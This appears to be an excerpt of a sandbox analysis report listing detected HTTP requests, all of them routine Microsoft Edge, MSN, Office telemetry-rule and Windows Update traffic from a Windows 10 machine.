Source: global traffic	HTTP traffic detected: GET /b2?rn=1732635113531&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2FBC76E93A286CF7086363AA3B5A6D16&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1AB6a00a295f8a24c77b1081732635114; XID=1AB6a00a295f8a24c77b1081732635114
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2FBC76E93A286CF7086363AA3B5A6D16&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=513b5309afe94ab8f8969ef22104e14a HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&MUID=2FBC76E93A286CF7086363AA3B5A6D16 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2FBC76E93A286CF7086363AA3B5A6D16&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bbb4ada6c0444731a1504c17ba187fb7 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=r2VWSTVOOBwDveM&MD=hFfoBeLw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
